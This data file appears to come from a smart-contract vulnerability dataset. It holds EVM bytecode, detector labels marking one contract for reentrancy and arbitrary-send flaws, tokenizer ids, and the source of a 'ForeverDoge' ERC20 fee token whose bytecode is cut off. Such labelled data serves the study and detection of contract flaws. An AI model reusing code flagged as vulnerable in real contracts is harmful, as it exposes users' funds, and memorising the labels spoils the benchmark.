1615801561222a57506001600160a01b03831660009081526007602052604090205460ff165b1561223a576121e48484846126a9565b6001600160a01b03841660009081526007602052604090205460ff1615801561227c57506001600160a01b03831660009081526007602052604090205460ff16155b1561228c576121e4848484612752565b6001600160a01b03841660009081526007602052604090205460ff1680156122cc57506001600160a01b03831660009081526007602052604090205460ff165b156122dc576121e4848484612796565b6122e7848484612752565b806122f4576122f4612809565b50505050565b600a546009546000918291825b60085481101561242b5782600360006008848154811061232357fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180612388575081600460006008848154811061236157fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b1561239f57600a5460095494509450505050612459565b6123df60036000600884815481106123b357fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548490611e88565b925061242160046000600884815481106123f557fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548390611e88565b9150600101612307565b50600954600a5461243b91611d89565b82101561245357600a54600954935093505050612459565b90925090505b9091565b600081836124ac5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611d23578181015183820152602001611d0b565b5060008385816124b857fe5b0495945050505050565b60008080806124dc60646124d68989612817565b90611d89565b905060006124ef60646124d68a89612817565b90506000612507826125018b86611e88565b90611e88565b9992985090965090945050505050565b60008080806125268786612817565b905060006125348787612817565b905060006125428383611e88565b929992985090965090945050505050565b600f541580156125635750601054155b1561256d57612583565b600f805460115560108054601255600091829055555b565b60008060008060008061259787611e2c565b6001600160a01b038f16600090815260046020526040902054959b509399509197509550935091506125c99088611e88565b6001600160a01b038a166000908152600460209081526040808320939093556003905220546125f89087611e88565b6001600160a01b03808b1660009081526003602052604080822093909355908a16815220546126279086611dd2565b6001600160a01b03891660009081526003602052604090205561264981612870565b61265384836128f9565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806126bb87611e2c565b6001600160a01b038f16600090815260036020526040902054959b509399509197509550935091506126ed9087611e88565b6001600160a01b03808b16600090815260036020908152604080832094909455918b168152600490915220546127239084611dd2565b6001600160a01b0389166000908152600460209081526040808320939093556003905220546126279086611dd2565b60008060008060008061276487611e2c565b6001600160a01b038f16600090815260036020526040902054959b509399509197509550935091506125f89087611e88565b6000806000806000806127a887611e2c565b6001600160a01b038f16600090815260046020526040902054959b509399509197509550935091506127da9088611e88565b6001600160a01b038a166000908152600460209081526040808320939093556003905220546126ed9087611e88565b601154600f55601254601055565b6000826128265750600061097e565b8282028284828161283357fe5b0414611dcb5760405162461bcd60e51b8152600401808060200182810382526021815260200180612a0f6021913960400191505060405180910390fd5b600061287a611d66565b905060006128888383612817565b306000908152600360205260409020549091506128a59082611dd2565b3060009081526003602090815260408083209390935560079052205460ff16156128f457306000908152600460205260409020546128e39084611dd2565b306000908152600460205260409020555b505050565b600a546129069083611e88565b600a55600b546129169082611dd2565b600b55505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f20616464726573736d61785478416d6f756e742073686f756c642062652067726561746572207468616e2031303030303030303030303030303065395472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65728be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e05472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737357652063616e206e6f74206578636c75646520556e697377617020726f757465722e4578636c75646564206164647265737365732063616e6e6f742063616c6c20746869732066756e6374696f6e596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c6f636b45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212206631ccb2f36616dfee0aebd15d0698f953c7b621b2d3504135aa584b31e7508364736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 6679, 4246, 2581, 7011, 12879, 2629, 5243, 15878, 2549, 9818, 2497, 2094, 12740, 2850, 2581, 2575, 2487, 2063, 2692, 2683, 2278, 2620, 2683, 2581, 2549, 2063, 2549, 2497, 2683, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 2260, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 3477, 3085, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 3853, 1035, 5796, 2290, 2850, 2696, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 27507, 3638, 1007, 1063, 2023, 1025, 1013, 1013, 4223, 2110, 14163, 2696, 8553, 5432, 2302, 11717, 24880, 16044, 1011, 2156, 16770, 1024, 1013, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,380
0x96af5db74d3a36204145a3b196ca849cfbcf6bfe
// SPDX-License-Identifier: MIT pragma solidity 0.8.4; contract Owned { address public owner; address public proposedOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { owner = msg.sender; emit OwnershipTransferred(address(0), msg.sender); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() virtual { require(msg.sender == owner); _; } /** * @dev propeses a new owner * Can only be called by the current owner. */ function proposeOwner(address payable _newOwner) external onlyOwner { proposedOwner = _newOwner; } /** * @dev claims ownership of the contract * Can only be called by the new proposed owner. */ function claimOwnership() external { require(msg.sender == proposedOwner); emit OwnershipTransferred(owner, proposedOwner); owner = proposedOwner; } } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } pragma solidity 0.8.4; contract ForeverDoge is ERC20, Owned { uint256 public minSupply; address public beneficiary; bool public feesEnabled; mapping(address => bool) public isExcludedFromFee; event MinSupplyUpdated(uint256 oldAmount, uint256 newAmount); event BeneficiaryUpdated(address oldBeneficiary, address newBeneficiary); event FeesEnabledUpdated(bool enabled); event ExcludedFromFeeUpdated(address account, bool excluded); constructor() ERC20("ForeverDoge", "ForeverDoge") { minSupply = 100000000 ether; uint256 totalSupply = 1000000000000000 ether; feesEnabled = false; _mint(_msgSender(), totalSupply); isExcludedFromFee[msg.sender] = true; isExcludedFromFee[0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = true; beneficiary = msg.sender; } /** * @dev if fees are enabled, subtract 2.25% fee and send it to beneficiary * @dev after a certain threshold, try to swap collected fees automatically * @dev if automatic swap fails (or beneficiary does not implement swapTokens function) transfer should still succeed */ function _transfer( address sender, address recipient, uint256 amount ) internal override { require( recipient != address(this), "Cannot send tokens to token contract" ); if ( !feesEnabled || isExcludedFromFee[sender] || isExcludedFromFee[recipient] ) { ERC20._transfer(sender, recipient, amount); return; } // burn tokens if min supply not reached yet uint256 burnedFee = calculateFee(amount, 25); if (totalSupply() - burnedFee >= minSupply) { _burn(sender, burnedFee); } else { burnedFee = 0; } uint256 transferFee = calculateFee(amount, 200); ERC20._transfer(sender, beneficiary, transferFee); ERC20._transfer(sender, recipient, amount - transferFee - burnedFee); } function calculateFee(uint256 _amount, uint256 _fee) public pure returns (uint256) { return (_amount * _fee) / 10000; } /** * @notice allows to burn tokens from own balance * @dev only allows burning tokens until minimum supply is reached * @param value amount of tokens to burn */ function burn(uint256 value) public { _burn(_msgSender(), value); require(totalSupply() >= minSupply, "total supply exceeds min supply"); } /** * @notice sets minimum supply of the token * @dev only callable by owner * @param _newMinSupply new minimum supply */ function setMinSupply(uint256 _newMinSupply) public onlyOwner { emit MinSupplyUpdated(minSupply, _newMinSupply); minSupply = _newMinSupply; } /** * @notice sets recipient of transfer fee * @dev only callable by owner * @param _newBeneficiary new beneficiary */ function setBeneficiary(address _newBeneficiary) public onlyOwner { setExcludeFromFee(_newBeneficiary, true); emit BeneficiaryUpdated(beneficiary, _newBeneficiary); beneficiary = _newBeneficiary; } /** * @notice sets whether account collects fees on token transfer * @dev only callable by owner * @param _enabled bool whether fees are enabled */ function setFeesEnabled(bool _enabled) public onlyOwner { emit FeesEnabledUpdated(_enabled); feesEnabled = _enabled; } /** * @notice adds or removes an account that is exempt from fee collection * @dev only callable by owner * @param _account account to modify * @param _excluded new value */ function setExcludeFromFee(address _account, bool _excluded) public onlyOwner { isExcludedFromFee[_account] = _excluded; emit ExcludedFromFeeUpdated(_account, _excluded); } }
0x608060405234801561001057600080fd5b50600436106101735760003560e01c80635342acb4116100de578063a64e4f8a11610097578063af9549e011610071578063af9549e014610462578063b5ed298a1461047e578063d153b60c1461049a578063dd62ed3e146104b857610173565b8063a64e4f8a146103f8578063a901dd9214610416578063a9059cbb1461043257610173565b80635342acb41461030e57806370a082311461033e5780638da5cb5b1461036e5780638fe6cae31461038c57806395d89b41146103aa578063a457c2d7146103c857610173565b8063313ce56711610130578063313ce5671461024c57806334e731221461026a57806338af3eed1461029a57806339509351146102b857806342966c68146102e85780634e71e0c81461030457610173565b806306fdde0314610178578063095ea7b31461019657806318160ddd146101c65780631ac2874b146101e45780631c31f7101461020057806323b872dd1461021c575b600080fd5b6101806104e8565b60405161018d9190611cf3565b60405180910390f35b6101b060048036038101906101ab91906119ab565b61057a565b6040516101bd9190611cd8565b60405180910390f35b6101ce610598565b6040516101db9190611e75565b60405180910390f35b6101fe60048036038101906101f99190611a10565b6105a2565b005b61021a60048036038101906102159190611892565b610641565b005b61023660048036038101906102319190611920565b610745565b6040516102439190611cd8565b60405180910390f35b610254610846565b6040516102619190611eb9565b60405180910390f35b610284600480360381019061027f9190611a39565b61084f565b6040516102919190611e75565b60405180910390f35b6102a2610872565b6040516102af9190611c6b565b60405180910390f35b6102d260048036038101906102cd91906119ab565b610898565b6040516102df9190611cd8565b60405180910390f35b61030260048036038101906102fd9190611a10565b610944565b005b61030c6109a4565b005b61032860048036038101906103239190611892565b610b01565b6040516103359190611cd8565b60405180910390f35b61035860048036038101906103539190611892565b610b21565b6040516103659190611e75565b60405180910390f35b610376610b69565b6040516103839190611c6b565b60405180910390f35b610394610b8f565b6040516103a19190611e75565b60405180910390f35b6103b2610b95565b6040516103bf9190611cf3565b60405180910390f35b6103e260048036038101906103dd91906119ab565b610c27565b6040516103ef9190611cd8565b60405180910390f35b610400610d1b565b60405161040d9190611cd8565b60405180910390f35b610430600480360381019061042b91906119e7565b610d2e565b005b61044c600480360381019061044791906119ab565b610ddc565b6040516104599190611cd8565b60405180910390f35b61047c6004803603810190610477919061196f565b610dfa565b005b610498600480360381019061049391906118bb565b610ee8565b005b6104a2610f86565b6040516104af9190611c6b565b60405180910390f35b6104d260048036038101906104cd91906118e4565b610fac565b6040516104df9190611e75565b60405180910390f35b6060600380546104f79061209f565b80601f01602080910402602001604051908101604052809291908181526020018280546105239061209f565b80156105705780601f1061054557610100808354040283529160200191610570565b820191906000526020600020905b81548152906001019060200180831161055357829003601f168201915b5050505050905090565b600061058e610587611033565b848461103b565b6001905092915050565b6000600254905090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146105fc57600080fd5b7f8e485513f38ca4c23b0c8170161c4fd5c16f934ea7c068b376f646b0194d1b8e6007548260405161062f929190611e90565b60405180910390a18060078190555050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461069b57600080fd5b6106a6816001610dfa565b7fe72eaf6addaa195f3c83095031dd08f3a96808dcf047babed1fe4e4f69d6c622600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826040516106f9929190611c86565b60405180910390a180600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610752848484611206565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061079d611033565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561081d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081490611db5565b60405180910390fd5b61083a85610829611033565b85846108359190611fd1565b61103b565b60019150509392505050565b60006012905090565b600061271082846108609190611f77565b61086a9190611f46565b905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061093a6108a5611033565b8484600160006108b3611033565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109359190611ef0565b61103b565b6001905092915050565b61095561094f611033565b826113e6565b600754610960610598565b10156109a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099890611e35565b60405180910390fd5b50565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109fe57600080fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60096020528060005260406000206000915054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60075481565b606060048054610ba49061209f565b80601f0160208091040260200160405190810160405280929190818152602001828054610bd09061209f565b8015610c1d5780601f10610bf257610100808354040283529160200191610c1d565b820191906000526020600020905b815481529060010190602001808311610c0057829003601f168201915b5050505050905090565b60008060016000610c36611033565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610cf3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cea90611e55565b60405180910390fd5b610d10610cfe611033565b858584610d0b9190611fd1565b61103b565b600191505092915050565b600860149054906101000a900460ff1681565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d8857600080fd5b7fba500994dffbabeeb9e430f03a978d7b975359a20c5bde3a6ccb5a0c454680c881604051610db79190611cd8565b60405180910390a180600860146101000a81548160ff02191690831515021790555050565b6000610df0610de9611033565b8484611206565b6001905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e5457600080fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f318c131114339c004fff0a22fcdbbc0566bb2a7cd3aa1660e636ec5a66784ff28282604051610edc929190611caf565b60405180910390a15050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f4257600080fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a290611e15565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561111b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111290611d55565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111f99190611e75565b60405180910390a3505050565b3073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611275576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126c90611d95565b60405180910390fd5b600860149054906101000a900460ff1615806112da5750600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061132e5750600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156113435761133e8383836115ba565b6113e1565b600061135082601961084f565b90506007548161135e610598565b6113689190611fd1565b1061137c5761137784826113e6565b611381565b600090505b600061138e8360c861084f565b90506113bd85600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836115ba565b6113de85858484876113cf9190611fd1565b6113d99190611fd1565b6115ba565b50505b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611456576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144d90611dd5565b60405180910390fd5b61146282600083611839565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156114e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114df90611d35565b60405180910390fd5b81816114f49190611fd1565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008282546115489190611fd1565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115ad9190611e75565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561162a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162190611df5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561169a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169190611d15565b60405180910390fd5b6116a5838383611839565b60008060008573ffffffffffffffffffffffff